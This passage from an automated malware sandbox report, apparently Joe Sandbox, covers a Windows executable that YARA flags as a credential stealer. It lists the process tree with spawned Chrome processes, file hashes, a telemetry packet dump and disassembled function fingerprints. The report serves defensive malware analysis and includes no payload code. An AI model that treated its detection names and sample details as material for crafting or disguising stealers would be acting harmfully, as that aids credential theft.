2024-11-18 04:57:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Target ID:	0
Start time:	23:57:02
Start date:	17/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa60000
File size:	1'866'240 bytes
MD5 hash:	1EB8C694C08AD5E6A7554D954CE3B7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2214549451.00000000016F1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:57:59
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	23:58:00
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2512 --field-trial-handle=2424,i,884353418751019173,15853487047118889695,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	23:58:02
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:58:02
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2000,i,7734462183592480493,604898000580889304,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	4
Total number of Limit Nodes:	0

Executed Functions

Function 0660E6BF Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 0660EC8E

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f0bc2b17448732bdff8b0ab940ec2952676d7d4583cdf33676a7069f6ca2141e
Instruction ID: a84c2d45e57ade3aa5fcdc1a67930aafdb283c2cb6e4684345dca6b1b84d7e72
Opcode Fuzzy Hash: f0bc2b17448732bdff8b0ab940ec2952676d7d4583cdf33676a7069f6ca2141e
Instruction Fuzzy Hash: 4B01B1B250C319DFF398AE18E8417ABB2D4EF08611F04493EEB8583380F5365C2686DB

Function 0660EA27 Relevance: 1.3, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 0660EA27

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1d11a59d029c5ae25b806a552522e956569d18597f32c31760d85c6354bc2595
Instruction ID: 716b6fc1dc798fa75aa60ea5f5c196a9de0d8a1a50c32c6d2f3731e98649fa25
Opcode Fuzzy Hash: 1d11a59d029c5ae25b806a552522e956569d18597f32c31760d85c6354bc2595
Instruction Fuzzy Hash: 76C04C7450510ECFAB481F74C00C8DF3AB0EF14221B140755AC3381AC1C7365C31CE09

Non-executed Functions

Function 066216D6 Relevance: 3.0, Strings: 2, Instructions: 502
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A+k}, xrefs: 06621BAB
MEws, xrefs: 06621D2B

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID:
String ID: A+k}$MEws
API String ID: 0-938340946
Opcode ID: 4b94f25011039e3be8b5ee964dc285c472278311acc4e7cefac66390cfd31468
Instruction ID: b5b3ad8ec87cb1c73da2ea3e00d24338f221cbdee1038bab9d0a58d90cbf95df
Opcode Fuzzy Hash: 4b94f25011039e3be8b5ee964dc285c472278311acc4e7cefac66390cfd31468
Instruction Fuzzy Hash: B4F1E2F3F146114BF3444A29DC58376BA93EBD5320F2F823C9A889B7C5E97E580A4285

Function 06654891 Relevance: 3.0, Strings: 2, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D,`, xrefs: 06654B86
Nyf, xrefs: 06654DAA

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID:
String ID: Nyf$D,`
API String ID: 0-765363150
Opcode ID: c44663b6460231ade4f4ec2a5f79fb0c0dcdde375a833b6d64172918fde9ad30
Instruction ID: 4f5706eab21dfb570a4da5df096b5d49161b07fdf573e64b3f4c439a43d94c5d
Opcode Fuzzy Hash: c44663b6460231ade4f4ec2a5f79fb0c0dcdde375a833b6d64172918fde9ad30
Instruction Fuzzy Hash: 6CF1CFB3F111254BF3544939DC58366BA93EBD5320F2F463C8A98AB7C0E97E9D098385

Function 0661E900 Relevance: 2.9, Strings: 2, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

qd], xrefs: 0661ED16
Ps-|, xrefs: 0661ED83

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID:
String ID: Ps-|$qd]
API String ID: 0-362263777
Opcode ID: 0c25af5d5b249135934599e1eb3a40fb5b48feb84cf2287e3e053ce1464fa0ff
Instruction ID: e7c4a5539a02634cbd526008acd3f667a0b7dbed66c5f3ab341d1c0af87b2b5f
Opcode Fuzzy Hash: 0c25af5d5b249135934599e1eb3a40fb5b48feb84cf2287e3e053ce1464fa0ff
Instruction Fuzzy Hash: CAE1C0B3F042108BF3449E69DC5436AB6D2EBD4320F2F853CDA899B7C4DA7E58458786

Function 0666B2A6 Relevance: 2.8, Strings: 2, Instructions: 260
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

=, xrefs: 0666B3F2
`}], xrefs: 0666B2A6

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID:
String ID: =$`}]
API String ID: 0-1291958929
Opcode ID: e99f8003e4c07a5f0b963e62f024252cb92d5cbd4992e2c43a19ec78b8f0b8dc
Instruction ID: a13b00f7863f2bb6bb729334d06a9703adbe8243b43def445f8f16b7e7c89d1f
Opcode Fuzzy Hash: e99f8003e4c07a5f0b963e62f024252cb92d5cbd4992e2c43a19ec78b8f0b8dc
Instruction Fuzzy Hash: F0916DF3F2162547F3444929CC983B27292EBD5311F1F82788E0DAB7CAD87D6D0A5288

Function 0663086D Relevance: 1.8, Strings: 1, Instructions: 533
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!, xrefs: 06630AD8

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 4b9e4627a9e295442e78c4361c694574b66813164d7111c34ee0ca5a153ef5c5
Instruction ID: 3b670197997929eb89ac6994bd32a36b5bb85049c5ecedd9071eceec9b687ce5
Opcode Fuzzy Hash: 4b9e4627a9e295442e78c4361c694574b66813164d7111c34ee0ca5a153ef5c5
Instruction Fuzzy Hash: BC02CEB3F152204BF3548939DD98366B693DBD4320F2B823D8B99977C4ED7E5C0A8285

Function 066416C0 Relevance: 1.7, Strings: 1, Instructions: 457
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

N|~?, xrefs: 06641C34

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID:
String ID: N|~?
API String ID: 0-12458083
Opcode ID: 3f5a7c0d5b9d304a75497da1ede1c67b3f0afa509e5da5e50524f89760738acf
Instruction ID: 650d5ff0fb7bb8932cd2457a337e4575526944a31c6deb460c882746c4cb0427
Opcode Fuzzy Hash: 3f5a7c0d5b9d304a75497da1ede1c67b3f0afa509e5da5e50524f89760738acf
Instruction Fuzzy Hash: 48E1CFF3E102214BF3544979DD98366BA92DBD1310F2F823C8F98A7BC9E87E5D094285

Function 06664948 Relevance: 1.7, Strings: 1, Instructions: 424
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pG~i, xrefs: 06664D58

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID:
String ID: pG~i
API String ID: 0-3128715585
Opcode ID: 0840d97af2beb4571147a0c698164a2956002a008a2408eb3e2f447d596e9cf4
Instruction ID: 4d29510bfff8ad88628307bb6b688a4122249ca8b23074d97e7951e4f3587a19
Opcode Fuzzy Hash: 0840d97af2beb4571147a0c698164a2956002a008a2408eb3e2f447d596e9cf4
Instruction Fuzzy Hash: B4D1BFF3F146244BF3185928DC95366B6D6DB95320F2F423CDB98AB3C4E97E5C068285

Function 06628C80 Relevance: 1.6, Strings: 1, Instructions: 337
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

l, xrefs: 06628D86

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID:
String ID: l
API String ID: 0-2517025534
Opcode ID: 271cfff820d8dbeb55b8c2f49bb7c24b2539fa8354674130dda5a5fda5c36726
Instruction ID: 659b0a16a57c5773b4c17d09437b5dd0466e2ac7c4b98e1f8d308ea77c69e0e8
Opcode Fuzzy Hash: 271cfff820d8dbeb55b8c2f49bb7c24b2539fa8354674130dda5a5fda5c36726
Instruction Fuzzy Hash: 76C166F3F2152547F3584938CC693A26682DBA5325F2F82788F5CAB7C6D87E9C0952C4

Function 0663FB90 Relevance: 1.6, Strings: 1, Instructions: 321
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

O4S<, xrefs: 0663FE44

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID:
String ID: O4S<
API String ID: 0-2141759531
Opcode ID: fe423c2a8ca1354523c03ab7e82850e92e594014d2ee6f56e1af4f6bd58eac5f
Instruction ID: 7b613102c07c255fb128661f6d3e0ceffebbc39d7d1d3bf85f55444e4f8366d2
Opcode Fuzzy Hash: fe423c2a8ca1354523c03ab7e82850e92e594014d2ee6f56e1af4f6bd58eac5f
Instruction Fuzzy Hash: BEB168B3F1112547F3584939CD683A266839BE5325F2F82388F5DAB7C5EC7E9C0A5284

Function 06670091 Relevance: 1.6, Strings: 1, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

;gQV, xrefs: 066703DF

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID:
String ID: ;gQV
API String ID: 0-1784604109
Opcode ID: 6f440032b9d375a7bf1a673de1431adf8b9b5b4a8071ed520b70a0ca192676fc
Instruction ID: b6c56ce69fa20a72f790851f202b1e3197d31559f2646c92ac44bc4903379a55
Opcode Fuzzy Hash: 6f440032b9d375a7bf1a673de1431adf8b9b5b4a8071ed520b70a0ca192676fc
Instruction Fuzzy Hash: F9B149B3F115254BF3544D3ACD583626683ABD6324F2F82788A5C6B7C5DD3EAC0A9384

Function 066296A7 Relevance: 1.6, Strings: 1, Instructions: 307COMMON

Download Yara Rule

Strings

z, xrefs: 066297F8

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID:
String ID: z
API String ID: 0-1657960367
Opcode ID: 6a849472e01cbbf5b6c0c50619234800349478b9587e6f0392dff4d0b1a2adb0
Instruction ID: 82fe7a015844dc27ca0bab66368c18597e3ef38ae80c17cab92bfb6c501bcd4d
Opcode Fuzzy Hash: 6a849472e01cbbf5b6c0c50619234800349478b9587e6f0392dff4d0b1a2adb0
Instruction Fuzzy Hash: DDB18BF3F616214BF3584979CC983626583EBE5314F2F82788F48AB7C9D8BE5D095284

Function 06619182 Relevance: 1.6, Strings: 1, Instructions: 306COMMON

Download Yara Rule

Strings

/"Op, xrefs: 06619436

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID:
String ID: /"Op
API String ID: 0-3308834828
Opcode ID: 8ed0b33c9393cc5a7827a7a5d5af7d53714e228667ddd4e9f58fd3bc7818e052
Instruction ID: e49cedc1bc0da62629f70a326d7d23c5c2511817bd2652bc2c289fdf386ffb41
Opcode Fuzzy Hash: 8ed0b33c9393cc5a7827a7a5d5af7d53714e228667ddd4e9f58fd3bc7818e052
Instruction Fuzzy Hash: 97B18DF3F6122507F3584839DD983626983D7D5315F2F82388B59AB7CAD87E5D0A4288

Function 0661D862 Relevance: 1.6, Strings: 1, Instructions: 304COMMON

Download Yara Rule

Strings

`?U, xrefs: 0661D862

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID:
String ID: `?U
API String ID: 0-2419268707
Opcode ID: 853d5f14ee9e2f75273faeb39e091f74f6508ac8a1597bc2046f6c55fcb3d610
Instruction ID: fa1cb2712087622e3e02c88792b50ffa89ecfbcfe53ae02b87d8fb772ee1225f
Opcode Fuzzy Hash: 853d5f14ee9e2f75273faeb39e091f74f6508ac8a1597bc2046f6c55fcb3d610
Instruction Fuzzy Hash: 84A148F3F1163107F35448B9DD98362658297A5324F2F82788F5C6B7CAE8BE5C0A42C4

